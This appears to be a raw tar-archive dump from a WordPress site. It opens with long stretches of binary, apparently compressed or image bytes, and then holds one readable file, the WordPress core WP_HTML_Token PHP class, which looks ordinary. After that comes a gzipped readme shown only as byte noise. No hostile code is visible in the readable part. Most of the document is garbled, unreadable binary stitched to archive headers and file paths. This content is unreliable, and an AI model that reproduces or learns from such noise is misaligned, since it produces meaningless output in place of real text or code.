�B�Ϫ+@��Fĺ9 k\p�D<(�L���"�-��v+з�)j�A֡����[�XU �������
�U�`��GWy�"��j�Y�q��s��p������ТH-�4�,rr)
�ˀ
��u�ڀ⼁xCA�<�����M}O�
k��-�L1E�_|��P��d��UW�!qm\X@>���R���J���gA'��ʕ��sd6�_EX���?�h8��cUT8��E��<0��,X-F$����q$Oh�����Vo=��=n@	��C
��z[������vq�"���j�t HV��\�������,�&�9m�z{P�����)~9K@�|`=���X�$�
r��	�x�7��U؁�0}.�pR,�:�F�@\��F�
�T�fR��=�$�C
0�G8�C�
�����!x@'89`6��BP$�
P��w�+b����p���]
��4�H�B� �00�A&�*�:����@?􀷍f%,K���t�GPIH��!
�*�t�y<�xB�k�� X�6�	�(�8�X���D�'@��
��
�/�BB��@8 ��8�qh҈0�@�ā��:T4@�
80Nx ?Q@
�	�$L�K�*p�\T>�@AP�>������
@�'�6�YRrt�
��HA�(�0'�0NrZ��挂J+ !t"`i@9�l.��&��XO��I��MB�W��M��Y9�R���D�����(��~!�Qzn!� �gd�@x@�rE�=1ӟ�q	���hk�O�F�:&mF[��* 	��)�O~�R6D
�'k���ְܶ��)l9��dK�Ai���(� �k�)ۿ��u`m��3^��
�x�K���!xh��zV��;�A	�ـ����C��J����H
����� ��)tA��$��T/Pr�;@
}8#~LbS���SU��8�*��
�X����H͜�	&��]�p$P�)D@�a<��eE�����(�O1���H�b��2�����+U���<*���������&A��`@p]������,��6F�c�r#с��0�!��L��xi�za��At�r`p��b��j`~�'�g?���B�7�fM9�"�zԃBd���

�э��f%j���yQႲ@>��`v�� j�y�P�u~資=�i_;��%`�KB�� �^�!��f��&дG4_ٜ���Cpl%+���lU�%���r�`omk��5�tck:�9����-&h޻������0����� ���n
x��$���C��	hf���+�6���J�!������g+��T!h�;�ʀ��%�a����f@oL�j��^p��p�'�A@ذ3te/ۀ�N��d$m�H@ų@ζ�$$�8��Q�F_Y��Ԏr�{^�.��^u���^�#��֌���+t�C�Bg�ၫCD��;�^(�ȀB���x�2�� �
T����X�#��:�M�X���o����&�)h�3�B('8P�
��;�pȀE��*� 
t�!�(cc�Tt�W(js{$1O�e|�K��r9>Py�/��`�7*93�,���=�)**"@U ,��v7P@V���a�U(@��t�0`p��B�"̴�Lh�5m �)�o��q-`f���6@w@�q�`6�m�D*�=��$(@�=���bWp<=�SdH`D�������)G@6��L_�^fĄ�(b#^Q. �Lg�3p���(�hff'5�A2�1��JA�6@xxm$H������(@A����xF�JIP  P���A��+����!�U	 � M )@�0NL�g��_ ����-a�GA�O�b�Q��űPN
�PUK�p%Pq����ژ�f�RP�K���\��O*eN|`QPeWQ N�PU
aU4�
0�*5V�dVh�2�M��"�M 0Y@j�QW�5RB)V���p�R�5IS�R��a.����XaV5pJX�D�݁�	8PU%EP| Z PP|P�Uq��h�d52)[&pTg�`pT��}W��UbY�6���)@!�\5Xw9zET
�E��XŁ���^������B��&���_bJH���^�9O���i����	h������i�Ǚ��9��Yb�����9��Y�%����)������w��Q	�(@G���(��5mn`�d��w�Yb�*a`]����]!�I�g�J��H6�(
�^P��^��x<`!�ƴ)ԡ�'
@'6@L T%��Ya���I�j��y��pc')�es�+1cp9�j�5&:h��ML��h��B��m�]�1�ɣ�%p^��A6�h�1�7�R���c<�A ��d;�ARGm :���E��| I�F���Ǩ�KP��Z\��i
��U	-���p2V.�l�:G9S�C7mP����q��#w`L�6`E9՚�ʩ�z�X�!E��*!���aNp���AP�T�g mP_! *p���,�ׂ��#0L"ǒ�r "��� *Pp�jF�4A�U�%�{�l�$
.|�X��^&"��!���Ee@-�)�`r�����V{`# n1kib59��q;X�/�>{i>�))�!z�a-�H.Aat���2�7p�B$>$�����G/Pwx��$.�l���$��/[n�",/˶�Ţz�,����D�`<�e�'@ԢE��{紂w{Q����2<�S�c��ޖ�zsy#�"�M�$;`~��&&�2�Fo��i�%�#b@$0 W��w*.���s)�*�42	g��{�O�;K3"s��S2z8�Ӳ��{��5�*�cz���y��r2��Y�v�w&iB7�G�Ѿ��A��`�8@~Ǵ��{�7#77:qk� ?��z�}�S�s 1��*��+��L�rKcj+�uKk2��YAv�/0�#�1}g6Nj;��t��&0!�)l�Z�w�k�g:[*s�/�o��y�0e�0��n���񹞡s�Q�9P@J@)@X���2�ÍK�� �ʷd=қ7�+���/�3p0���6+~`v
�0J>Ub+_�2��[��')�A0��xp���`���˸�[��RhJxa$�,cVQ��K+x�+,��+0Fs0�Y���X0P �g�Fxp������
W�Ȼ�P��Qm͖8���kkb�w��w�C#0bW4H��O��,�v3�=.(�"w<�<�sz1���]�{�b�0�{�g q7�s�Uqd��y�/i�1L�1�'rA�0��4�Ĥ�n��+�r~"p5T�����Qcc` 	�)��e�X̶c�b<#'q�`��3)0J��[�rb��|{/��o��i�*���<zm�v��ji��1@��9�R���|��}aM���2��>{�*C��Gƅ��cP}b� :���* �&��P@Ď�sP�g>p�\��B?@bG2��<ǁ-`��w���͆�k������L�E0���q $ =3?�v�a�/rL�}�S"�}3h&l ��<'��rD9(E=�d ��J��M��<g�
�S&-�[�-]	̌2)��jQp�>�'0��C��\ғWt&c�RC/`D��C"�@$D}�=�cP9l{��E�S��2eԢP~q[p"��g���|`�dJ�tX4ZM�""|�L�F���GXlt�=�;0u��CL� ȳ�?�p�.��<DCD�3�9A`�z\�����v���N�����eJU��9��?a�$bo�5�s�!�F��JH���Xa�Mm��2]�l0P�6>"⡨y�<��>0J�Y�H��`;�	��$����t��p�L�x)�2�Zᵕqa]A�E����1*�e�m�$G�^W��Pa����U �-P|�0�b��^��)T�����5	�%�1�GUL�(H�U	}�9L.�?nT;��;�с��LA��NI���T��<�����T������1	1�0ʪP�䱌LB�4-�	@ K_��/����~7pIT�����/���T�X�dV69��]	a�UUN������MF��I0P�l�� ��'��h?P�Aiə'mߓu��]o�]4SYM	ZrY�_5Tq�U
 ;�@K��Q\@8@XV8@��\QoUU%Pee��]�E��_�H��8Sdu�_��Pm_R�Ք5u��jU�a@�P�֕D喡/K�Q����5���Q���*o��З0�Pc�Ij����MMՔ�	��6)W,"V���I�Z�4P�/��e����5���渟�Wɕᕧ�RD5��Ƅ�jD1�Ă08xH���E�I�����0 hT)�Á���cC+(���qp@�$$�F4ZB�)�’$�.4��Q1T0�!&AJ{ֱ��k֔�"�T���E&u�d��!2��AA�y�z�ˈ��z�P�0O�
H(�n�V���h���R3���T/X���D`�<3t�"��Țm�����FN��w�x�ܫm���a^W6��ĕ3��z�ً�n������z�6��^'����o���s?_�f��I�����+/@�$�@TpAt�A#�pB
+��B3�pC;��CCqDK4�DG��&���c<��3�H��:(��h��ڼF����;Xc�F\,�^� �#,�����C�((�I!�B<>��<.��H8��B
��k�J���L<r�sL@ld��8S�j���!D�@0� ��P�;�h���D©@:�T�8�;P0
<(8u�
�
�x�=��T�����Fq�J )�Qe���cO
$x �S�u$���	��<0�4�<�U�Ҳ�8���h���D����pW��#$z@�B]�V�
Ba�1���10�<bh���LxK$<st�]b��H{3lA�H#ݳ.d�aNk7������!�؂ $h�z��;R b�n}����0�
9���Mޔ+lč=��C&�Ha-���o#\��8�>8A�Cn8����
�F�
.z(�"A�R��c��d	���E	&�`\��`
�9R�7�x���	$��7/��.�6��$Q3r�+��5ȪܬIbx�m�؜��Y0݁
�.��MDn�P��1tG�4Р@�T0���W���.�5����l�X�05�y
#��n�Ȟ���6G��fX�� h���@��_	�w� h+��&�²a3�a
i�0FKЀ
}��H!k�Хt`%���$`��^	pE��l+����N~&_N�\mzЃg�cy=t��p2�h {��|����Q���C�.p�#6�f����3�� ,��&�\q�� ��QB�`�[9F�P	?�i�=2���I�F\�Q�I�i�����~L
8�[��fHpH�a�
y��GX �s��xp�9��#`g;;��+zҜH@=���	쮌ga����u���-i���&`h�G�O$��%����Ox�0ѩܠ�J ��"%@��,�X[�<yEv´��|'(G�IT�3;�����4~�A ¿Z�aM�����n��<���n��K4�5$�j�UB��������:�k�|>�&�ɆN�S�{A<�z�w�S�,�	}�O|����]!��<(�����Z2"�I
@V{�U�豢Q���p1�}�h�=�[�6�hA^ �+�)t�u<#@���r�{�B���=��;�\��X�4fm؀�6��ͅ+������?�
�g��U>zu�-ˠ׆�Ɨu�u�	[.dOl�f�؀WP��r���0�=<!
i����/<aO���ߊr����X�n�	�
�
p��y��U�Bu�RO:�D*���@��w�Cpa���m}'�=��$��`9@x3�����)L�
bx�����4�`$ �4|EUv���fㆁ�vא�<����bC��emW�&���?�����&��l�=Q�`{�C�G@?��Xp��/@�
3x���+��Y�4�ҩ�ke�a���͋J@x�(�CL���?�#�+�k�LfPآ��HS�
	�2�=]e �@�:��}l���Y�C����{n���
v��h�g���rV�1@��V'��z0��(`�-{, �.S��ʜ��@�nC��v��me(�.�=M��
��P�
h'�z�λַ���?��^8-��e�Y�h���Zǽ���;A<mmnC�S��"a�[�
���Pj �����6�����F���FW��k�J�9�9��b��<��2T�H.��&����OA����>��g:����3~�,�a�ʽ�*��9$�Y�w�)���0�s�?�o�^`?M�Z��`�~�j�b�P�ŗP~��&��,�ܶ��1��2�A�~�"��nG}iH�:���}OVyp�v`��x�v��=�'r���
 �;H��@@�y .@�,��,�������>	�@�[�ú�K�tb�5Ӣ-�&���`{˵��^ۣ}�??�?`��ۣ;�>2#2���7�21B(��9`8�8��6�[�h��[
,(Ծ�ۺ��V[0H,���@��K&�9|SA�;/�;��:�%'��	��42;��q>��+؁2��)��P;�s�'T�	$�ú+��4��3۩
�y�d��44L��X���;��1asG0	"�2W��@"��
�)Z:�K�)�:��>?��&F(tB��/�n�^\9����ڮ	0��I0�I�D\�=��;��9�����9#
�P�)���)(���o��LsBb�BD<���e�:�t� ���Z��ٜ6��
���9CAګQlAq|A�r�s���6� ����Q:�['(x�/(Č����Gb\��:�7��/K���G+=�	1�$�H��ĉ�HRĹ7�g�H�V�-$�;��3�Z.؃et�����a�>��o��,[@?0�Q�$��n�nj3��h��4�5ܳ�Sʌ��I�.`���"S���/G�-d�|Z�u����m��ü��>*�����68�,�U�K��&$h)h� ȟ>+�˳�G�7x�	��<�ڝ�Q6G[�ȧ2�#�	��n���8��8��4�ӂ/�(M9(�b�) ;I�����	�z*>I"B�p�K��988��X�8�����1���"�C������鬼���������z4b-�*�v+�Sx�+�"`Zz(
H�s��dËtC�j��
0�34$BK�l1X)�	8�
�8��4"���H�,5��I*�IP���u['JS�9�� .P�K"��!����9�0��O�Kp�Q��H<��0܁8�#��I1Iy�Z���10"��1I�%H��,Ђ�R�4,��(��"�-(؀Ë֩D$��Iȷ)�0���H>��9����R�7�J�&)�5h%C�?�)H1|�#�D!��Fe�2�X��sj��ܰ�6�=��{R�R�)(�)�<Ĵpl€��m��nt�����K�������"p�"X.x$ֹ2 W(!#*>�"t��>�)@V31�R�*.�JW��(X���*(;P� P�H��O)�(o��^��]��8��J �n�"��6Pȓu�7xX����*S#�M�X�9�٩�#3R�t"�
;2
2# Y@#�Q���..!��7�U�0��6dA
P&`#0�<�
8�Lڀ;P) �3z�X5��I<����ZM�f}32�BP���6�E�
����B(S�[<��� ��-��7�@�[�5Ep]�(]-(�5�-�����-(�S�<P�6p��d��e��ۀ�Q:ϛ���Z��b�X��;<���r�6�4��н/ȁH���I��8>�@�٠^\*���b�����eb(���>П�$H�+X	Z�}�~�1PM�KI�1H�2j��q@@��1<�	�l�2@�ka-4�%H�2}��*�I���i¬���`(���z`A�������:�֟��ќ`V��C��h�\ k\�.p���{8�����1�2PT�R��B#�)��m��9�6��8��@��8���p�'֍+K�䰪X70I�P݈'< �"���"��%@�^�1(�w�4c�q�*04!�� �+P�5��s�A(���;���AL��L���&)
Ц@�S��� X[�Ƀg	2�	12�1� (���("����@��g��rq,�I4P<�U.
@	(�4P���W#��m����ha�
F��3<h�<��r֛���W�Fh��U��F2��j1;�݁�	�60�
P����`�0`�^��I�:8�Ȁ5p`�I&_��-�}q�t�I���})1$�fC ��7�����������b3��>��8z��
۸	8xne�=Ih��@8q��#�i�߫6���1�{&���ȁ6` I	����ހ�H�n�i�3������
��~��;��Ɂ���	�$28�lR	�w���;���;��o��i:8��x��@�10�$�����x�j����v./?�<�넣�@`Q(pX�m�%(�����V�@��@�;T!�EPP��U�h�B)n�ȍ����"^�
�`4ȟצ���8�q�8p�/pl�p/�%0o�q��X��n�%P��P&��m�DX�&0nE@_!�F��l��&��$�D@���5���XP�����
pHj��hA2&���ʒ���?_�(�OqD�I�D�3�*�������nQ���S���L���V��8 	�P�
X��3w	�0u�	F 
��	�@D�0(��s(�_!t�P
�pH��Ȑu���8�
��Ǩ7G�����
x��П$ ��:p��(w���vx��7_��)�Ő
�0��x��
/� ��NG�����@�$�Y�:W�����
�����	*8���t�
�0���_
)���o���(������%��`O/�`���烦�@�ȏb���P��ِ�X_���X�@��H�U���`P���y��y� ��W�f	��	5izXs����	��蕸
������R��Ww ��(����������`�<����X�r�r	H��m�Ȁ�_�à���|�(��^y��	��yї��`ҟ������u��v��Ԉ��?��X&����/��`�h�/���f*	{�`	�g�u_M�}�`�I{�X��0@,���X����$X��>LjԈA.�a���J�c�H�a4���(|�\#ɀ�L��>
V:��@�J��Tp(r�4�ܜ����F(�L��I�pX��Q"ŦLlD�P.܂�T��G�1E�4�R%K�n��Ջ��QL(m�F����3o��v�փ�{��9nٌ��ʔ,{	S��f@0i	E�yAT:�j�%�Y�dJ�-.�i�D�%�u�]�6���.�
^d��Q�T͈϶V9$i(�Ja��H���F�'W��U�Ps��R#đ��4��$ѥ�rdP�F�<��#.�"QDQ�[�)�b�5��udx"���a�.��"uy� $it�Ga$�G�x��$"���W���$��/F�%�<N"`RY�F��#�)��j���pΩ�i�X�g'�}��ѝ�ܔ1��T����r�%��"zX�SRبX�6�)��r�i���J����i*����*���꩹�+����+��
;,��{,��*�,��:�,��J;-��;14338/class-wp-html-token.php.tar000064400000012000151024420100012313 0ustar00home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/html-api/class-wp-html-token.php000064400000006522151024406160027415 0ustar00<?php
/**
 * HTML API: WP_HTML_Token class
 *
 * @package WordPress
 * @subpackage HTML-API
 * @since 6.4.0
 */

/**
 * Core class used by the HTML processor during HTML parsing
 * for referring to tokens in the input HTML string.
 *
 * This class is designed for internal use by the HTML processor.
 *
 * @since 6.4.0
 *
 * @access private
 *
 * @see WP_HTML_Processor
 */
class WP_HTML_Token {
	/**
	 * Name of bookmark corresponding to source of token in input HTML string.
	 *
	 * Having a bookmark name does not imply that the token still exists. It
	 * may be that the source token and underlying bookmark was wiped out by
	 * some modification to the source HTML.
	 *
	 * @since 6.4.0
	 *
	 * @var string
	 */
	public $bookmark_name = null;

	/**
	 * Name of node; lowercase names such as "marker" are not HTML elements.
	 *
	 * For HTML elements/tags this value should come from WP_HTML_Processor::get_tag().
	 *
	 * @since 6.4.0
	 *
	 * @see WP_HTML_Processor::get_tag()
	 *
	 * @var string
	 */
	public $node_name = null;

	/**
	 * Whether node contains the self-closing flag.
	 *
	 * A node may have a self-closing flag when it shouldn't. This value
	 * only reports if the flag is present in the original HTML.
	 *
	 * @since 6.4.0
	 *
	 * @see https://html.spec.whatwg.org/#self-closing-flag
	 *
	 * @var bool
	 */
	public $has_self_closing_flag = false;

	/**
	 * Indicates if the element is an HTML element or if it's inside foreign content.
	 *
	 * @since 6.7.0
	 *
	 * @var string 'html', 'svg', or 'math'.
	 */
	public $namespace = 'html';

	/**
	 * Indicates which kind of integration point the element is, if any.
	 *
	 * @since 6.7.0
	 *
	 * @var string|null 'math', 'html', or null if not an integration point.
	 */
	public $integration_node_type = null;

	/**
	 * Called when token is garbage-collected or otherwise destroyed.
	 *
	 * @var callable|null
	 */
	public $on_destroy = null;

	/**
	 * Constructor - creates a reference to a token in some external HTML string.
	 *
	 * @since 6.4.0
	 *
	 * @param string|null   $bookmark_name         Name of bookmark corresponding to location in HTML where token is found,
	 *                                             or `null` for markers and nodes without a bookmark.
	 * @param string        $node_name             Name of node token represents; if uppercase, an HTML element; if lowercase, a special value like "marker".
	 * @param bool          $has_self_closing_flag Whether the source token contains the self-closing flag, regardless of whether it's valid.
	 * @param callable|null $on_destroy            Optional. Function to call when destroying token, useful for releasing the bookmark.
	 */
	public function __construct( ?string $bookmark_name, string $node_name, bool $has_self_closing_flag, ?callable $on_destroy = null ) {
		$this->bookmark_name         = $bookmark_name;
		$this->namespace             = 'html';
		$this->node_name             = $node_name;
		$this->has_self_closing_flag = $has_self_closing_flag;
		$this->on_destroy            = $on_destroy;
	}

	/**
	 * Destructor.
	 *
	 * @since 6.4.0
	 */
	public function __destruct() {
		if ( is_callable( $this->on_destroy ) ) {
			call_user_func( $this->on_destroy, $this->bookmark_name );
		}
	}

	/**
	 * Wakeup magic method.
	 *
	 * @since 6.4.2
	 */
	public function __wakeup() {
		throw new \LogicException( __CLASS__ . ' should never be unserialized' );
	}
}
14338/readme.txt.txt.tar.gz000064400000024271151024420100011241 0ustar00��}�v�F��>E/MvD:"��d�No�f3х#ʗ̬YZ ��@A��'ϑ8Or�b���RT�d<�̏�E�{U#�x����׷�"�M���]?���w� �����8�q�<����y�"7�=_������7��.����}��n�OO��n�?�{�Vg�Ӧ_t��}��S���>�'י�Ґ�c�~��S�j�gD��-���z�Q�S�m���׵�t�Z�0��['�Q�+'S�,K�ٶ��<u�1�������@X~�!h1�ϭ���n��:.!L�l����ye��lYs�?��ڣ�� �h5�vZ�>I�{*�<?U�<̂��)HLh_[��8W3g��ik��i<S��W$8�xNb�l����`i��׍SM�}�?�әV�a��j�L�<ȘJ���B%i��w3�V{y�Z��>[�\�c��bh{���4��(�~�m��_B�C�Y��X-�~�C��,���>�^F�,����ΪP�	3y���M��u���Ƴ�����S���e�irxZ�G�
�hB�R2����U���j���u�k�k�a�>���2����%�+'��Q}]p����v�R��8]�
=Z��,�#�ԂL�n����E��Q�1�_͝('xq�d�h�yҔ�G�|���H�U
�ŀ��A�4����ϳV�s�7jH�5�=�|�L����u"�'���(ٔTF)��qz����Bi?��S{��~Q�=S��A�lK�sT�i����ZٞO��Z�4�k�J�	-�6̓$�'������~�}�=؁&����ۣ|b��X��m/�%]�%�?�Ӕhr�g���i�%��Ӑ�6�#(t�4(�H\��|VQ��w��y�KU���,.S���E?��jL�Ⴆ�BE`8�hн&���ۨ2
V<+�D�9v5��hA�����f�_��@ٳZ��U��6z���x��jx1I�<���{{�{OkPmn0MBjdi��YD_*q�g�o���#j)��۩_�M�
�\Ӣ�>h\Y!`��E��lG��J�Xc$�]stm��2I�p����D��X��3��"���ڜ4����#�3�W5Cu$K��}�]�$/B��M)Dm����IX��OR�׍g5���ʜ��+�H��КlR��}�hvt���\X���t���CM�.�5]Nd��.����8N�q3��^�pg�.���k�߇�Vg�1l-ߺ�LT�M���t���i�pG
߿��I�e�^�{v��a������M�{�qgy>��o�|�>C"�'���x�_q$S;<jr{Ud��#��=U?5�npd�[K�c`Z����rA�Ŷ�"(H�`vry�R���pJ�ď���'�po{oT��&.c�x �����c����3��Qo��#���|/pd�����X����A��~u����SY�����qT���lp����ݢ��;�|��qFZ���Ǒn�	�������r������=1_0#� k<8�˾��46_������U��4���#��9�#�Ë��Ǐ[��ˋ3K՗(���/`��T=f����<��w)��r#���0?Ƙ]�=�`Hx��O�qH�3ɽ͏AȊ�Ϭ�F)!n;�\���|�
�KҐ�@ҟW��v��]��ls�h{t}�R��m�	�Ru1�I�O���{���!�_�_�̓e�.
���Z�'��ܜՑH@mfj�쀬�H���WK��=���l��W��H�C��d�{jN�6��!��r�C�I8ܖ>�5���ݜ��y�\hu^�ka��&��dR-mL�4�kc'r��ϳ$'��>��J�)�fD^d}��`�H%� LV��ԧ[P���J"��:�<"r��<n����	�oɁM�Ni�c���{c�f9��@�b(UV��1��<Z��l�>@)?�bg�SXA�����s����-'�ƞ�45����=�B�l9jB����z��|�,n2h��uMp���. �#,�� +v�r…&��anE��h{�Z����D��U,�>�,�d��ݠ��WWW��	}�J�|ج1�*+mka�ҸXUJ�2�)ƨg{�A�T�1���#^�o��a�S�Z�S�V��1DeF���*�b�/�)ZF���jۘ�p
�qȫhb͒�7�`��_��k3�s��ď�k�v�v:�n4�׾��g����2~�e}��f�65��m7��}Q���#�C��� _̧Xt��Q>&G���LuGu;O��_��PL�qv��|�w�7vɬ���t�,�zJ�ə���4u��ԉ&�5�B�.QW��S����6��aox|}z�G,�25��z�����F��6�{b�&A�d��5����|Z�6�+�?XS����}b�Ed0	�b��N��� 	�"�07���&?�WD�'��~4��i����F*YG�d:?[ߙF9�#�(N#��Q�k�06���B4��V#O�FNIu����i��Z�v�I��,�J���l�����F��F�|o�DK��$�{�0%��]̳F�0!)Ir4\X
�T$����,�8�4��x�yt?�1:�em54��c/���$&}R&΂�^�0�s"�u��ĄS�-��A=�i��;ǥ��չq
�^t-�u_�0_���|u,�o�۸���
�1����{��bm�t�,�3;��S{@9�z�@^]7LtAA��3��kDe��fj���7�Y��(��*;Z�
��͉r�H�6�#Ҏ�hbȋB�1�=@�`�2Z1B
�8��ˑ&�(uF4�'��!%sD	�b�T˄M��"d?�6��>�=_1����*=s�"%)Ʋʁ�5"�j,Ic��l�΁Y}�T�@ؗXV��m?M�t�o;�M@FŦ��ig������%��r4~�Ll�e\��w��I�6��ʸs'm��R1Y�д�vH�#b�&=Qg��iNC��٨ʚ�o�,���{6'ꠙ������U��T�X�\��_��n�
�c3)*>
���k���d�B���R}�fYM���$���"K�+eH��`B�Xf�^/��MDQZt���|&�������3q����'][�4�5?n����A���ĥ~1�
��*|�@�I�Ŀs�$S��(S,��cIX��X�Cg���m��(�n��H�I\;%Bc�g"�$�l��9�;�
H7N�0۩��'o�h��*Y�0�ɉ���A�CJqlX;cZ���x���ā�h��_I�D�����&��������"��W�S{�	뒔��b@��+0;����5���Qx�+���Plx�f�E�e쐓��xg$���t`�o�Qc����{��q�i�a�qd��?/9p�X�J
�QH���XZ�e�Ot��H�؈1V�����0Qÿ�=)r|PB�8��^0^�0���~x25"�w�,�	F���	�+�o���0)թ�4N%�Ũ Ր�S��*$�Q���/x��2�9%&(S���8wj�0o�W�.^_����m��w~��7Lmd��8�I��w�2�M�������O�W?�?ݿ:?��ť�A�����w��/�cK�!���[{;.R�O�,�)��=e��B��O���a�d�){�d�8�Yo߀��w
�3~V{h�"ת�=UW>�E���9�v���A�34<�)ENC��lw[Ov��a�Vq��3�9%����>�,���u��!G%8�Td�
�s6�G�����Y�b��jf$�C)d�!!ؑL����+w�"�����8:H-(sa��8�x1��_�5%)WR�� �C�6En�29�HY'"]㗛,�vI�1���X���od�k�!S�@
�A
���u�3������2�c��(�a5�P[�F<�iM�u9
��ĩY0
3��m�VA[�k`<�ó�6ei�q�+��~�m�jӊYh@��@^�cY�����"�]����8$�aү��B&n�ք�?x��D�aO4Cl^�Đx(����������3x�m�{�{i;�Vd���0:�p��lgwAV��t��Y�l�
�醾�iR?�w����c�k��L4DW�Q�vg��F��v�$g��X?��.��:�-t���s染���O��8�3h��~r�l�[x�Dj9Q��N�[%�C�6|V?�

Ayh�*�ZՇ��˞�BBaX�{N��Z-U��%�f'N��
��z�|��4��e��2j��ő��2�u6�uwf�}7�g�ُ?]��;<Vu0ȍVo�Yo�L�X��FEΗ�����C�(W��l>��[;=R�Q�f�ԇ��}�;;Vo.��x�<t���,�l�-�B����-��㱬��[�j%���|���r3|K�-��Ҳ�$�9��&�Wr�YF��a2��Q�ғ���*��)�L�3ଡ�Hn7�٥t�eL��V�#�I
������1z��O��g�ү�r���L�qy]���YC���BH!�ڞ�z�%��b	"��쟟\�r��$
�0β��Y��&���r\+����Omb�kX��'ƅYu����U>#M�P�R�_�9��ԡ�?r�G��w��h��un+"�ӳ��&k�ܳ�8��2��(hl�4�|��1M��h8�99��mG��2qr��?�|�8��	\mS�#��I̒���b
����=�qx�N�ޝw�w�� ��v�p}��y���;F5�5�I���sen��e����=RDA��B�I+��s���'z!杰�Hj�GT�U���5�I��썙$buQI�����N��cF`X�qB4+��V($ڏ��e�Lc�=�w:��Ԇ�H�ӛ�is�r�8c�M�fY�� ��7&��_f�F��|�p8{���N�� �_!s�:���ݦ)��Q�����D��/���'�u(ó�I)5��7�̙��B S¶�|����i���wO������$�`�G�+yN$���l��G\�?I�������2�3T�;1@�O�;;]
CA@�<u�%ת-�m�g�S�A:|�߄N��O� �M�#[lPE�|�.�E�=f)X�l��/�����qA�7<�r?�'L��g=���m#k)�B�.tչz��EaC�w�!oa�xp�rh�4 �\���i�ZkR�'4ȇ�Ѐij�u_��2��B(���g��mω��БM#�=��agR
�Wh�c<nw�,�	>����Z��|/�z���^�>^}5~�~�U���n{��]Pw����~����}1�.�vG�"�d�b��HC�gH�zۍ�0A�$��ۇ�m$e�� f�B7�)
���6�T}{p��XΙ00����ԩ���&�&!X�:�͜taǺ3�%�[W�o
��e�-�Qk4�d.�TaA�'�
23'�4�o��ʙ�B̾�P(�e�xDFC�j�*�m��w�����Džf*��Ixz�sa��~�xo�F�Ë]�On[�Ջ���4L�d����������B�b�¶%9 �\rϦ��߼:=>���/H�~�����'��h^8$�Huv?ޭ��#p=�ݗ��2��hß�C���?��@�����G:��:pϜ�EucI(έ͍�
��T�2�%�Z�,$AS����3�D�}�s��-k苰�� �ߓ4�+[�N�=���N����������L6\�
�K%?�p��ʈz�p��
2ޔ�A%�mxL��[�a���]fΑ	@�
g1	�Ej��u��BH��r\#�߫�5���z����"�+����HR�`�0;R�3ΐlA�<� R��A&C }��Q���<"��!^��u��R��C1/�
y}1B��<��:!���͑ё�f��\��uBט��4��M�2>#',��zh9=��B
6y�Ļ����>��$hOC��/*+嫴ۉIܗ��0X�L���h%����:��b�4��e����M���…Ǿ"v��������qI��v��X��NLM�Y����Y7$����Ć���xC7�T�wM՛�d�;g���m��"�L"T�I�|��%*IZ�y{��F��r�Y�~��%|����v�DB\ID���8��(��u�{śoF���l�p�,4�$�TY�|ʊ=U���$�7���L���$�@�W��԰�@zb폺��"Wj�)��]x�ML�I0[I��9L"!��s����.~�)��S�eE�o*LP:ż�/b.q�v<k?�Te�����Ԏú.�������.��U�c�<���1�������O������&$��Se^�g��I];�&�nv�X�A���^��M>�J�?��8�����I�,<�I:91��c�Q����EQTʲ�\�&�g��g�W���ősܡrb�!�n�9 �"!~��eY����@r0�8�+�z�0Ze>�Q*Q!����"Pv��[#>���3Z�����厃�R��R]��N�. ~�vA0��\�V�8q��X�}�2(#9�,I���e�Z�R��ꨌ�{J�$γr7�*�o���=�Fq��ê�W'��P?$OW+N>E��!�ɦ�A��5�˨�g
�	���iH�G����%�����<�(�����(�h�|q�Q8�%�O�7���G$��t3"�O��5�)�L>X"�|b2�fX�)K]�-1=2WJ/����@�,m���{�4N�E@�ϛ��q���]k�k���'�ኴ�O"�@�h,b�X��#��B�=��;�v�S	��RnXŠ\9F5 †�[lO�!�/Wy�HKq��5��i߲�KL�r�,���i�}pq�X"s�����M��唻�,�B8)ž�ߞ
�0u�=���;u���dy�u�{C��̒rd��C.��j
�Pl5!R��ʒD�|6��)A�M[s�]fhL���		��{�����Ex�Y��E[���}�G�D~��3c6���8e� ��
��_@��	�p���!����F�\׈�l�E��M�ش�Dq�	6 xq9t�i2Q6S��G2�ɢ�+�,S�'�&)ͧ%�$xK0괍Ul�.�(В�<R!�8A�}�*F��0е�3#v��^��y��"C*����=)��+AK�^?���U��BLj�u�;;~~넹�Ū���e�8�T��i��i
�H�e=m�.	��2R�~���=�|�S��"����Z`<�\$���K�ܺ}b��OZ[�-���$�l�S*`٫j����3a�W��5�R��D��&�w���n��&�MP����1S]�#�vJ����*lĢ)��3s�?nu;����Ǎ��x�Ѳ�[;��.]��x���p�
.�In�+~`�$�P岊R�^�m�J�(�DZ�L�C�Xw��,6����	�P�F�hy��^��]a4}����IA�J*�ɉ���)����;�d�Y�S"��*#5D�����*��b��;�#gb��rGRp;2u�5ڦ�t���&���5���r�����+�B�f]'�09��e%���SE\�E[^Z7
�n*�2-�@ fE
���S,�Թ��%Z�H��IQ�s4�E��"}V�k!kʈ�¼��,4�at�/H�p�π%Q�bj�jo�0O��o��ߘ�le�8�����a��,y��]
+U��a+	�  B��
!p�_1
b`���bM�s�t��p�7`ϨWn��6��Lsx���V�<j��-�Rn�<��7Ү���3� ��)�͞W�ǽ3T4X}��[+�BKΎ�lDu�CKm]�G��ų2g�����Z�28A�I����+@�0c�*�Ae��=h@�oBd��
��R�ɋ����`�L9�̜�e[�%]�uy���6��(�ɯE���+E�-���c2Ac�J,Ru��ю�,�2"S9Q��U�a/9�j^��������jLdgY�/�U���z9�X�b�@�rU&Y��?+X�s!�J�50��o[|��+[�.]6�NS۳Z_#G�l|�8\*�e�h���|�b�lRD$�hG��2!l�}0eJ.O��!N.�W,��8q�Ț�Q�П8!��h1���u&0�MsX�7�Ь���Ɲ�NB@�C����xػr&=�/���y�re��.�o!�Y.s�$Q "gy�
JIqv��#�e�l�]����G��":���ye�,���
F6B��KY+MνE�H�ф�
�̐+�bi��w�eU�KZ�c.vd�j��nWۏ*yV��$�8�����\oy�
��D�9j:э�|�;2p��
I�7 ځ�?��[��Ar�`�O�K�P���8�ᩫw��-c��"_s�J棭N�.�B��h8��[^�W���ˊ1��E�a9���ڑ�X���m�o���"vE�p�Vs���G�>��T�}�)|��n�l�F�Y��)���pΖ�O�D�v��eawZ�v�{���¦�yQ�3�@�^��/SƃP�w���n�_�t�S�IFW�d��jmo�m�Me:|���m��9V��.��F~8qP�
����'��]����tr��������S���6�ĵ�w����"� �[����7��_��b祉?Ͷu��j��]����Ė���j	,����q�,�}�}B���rE%���K��6~2A��7�KǏ�O��*6�&�$3>ޢc�g��S����9nb�l�4m���
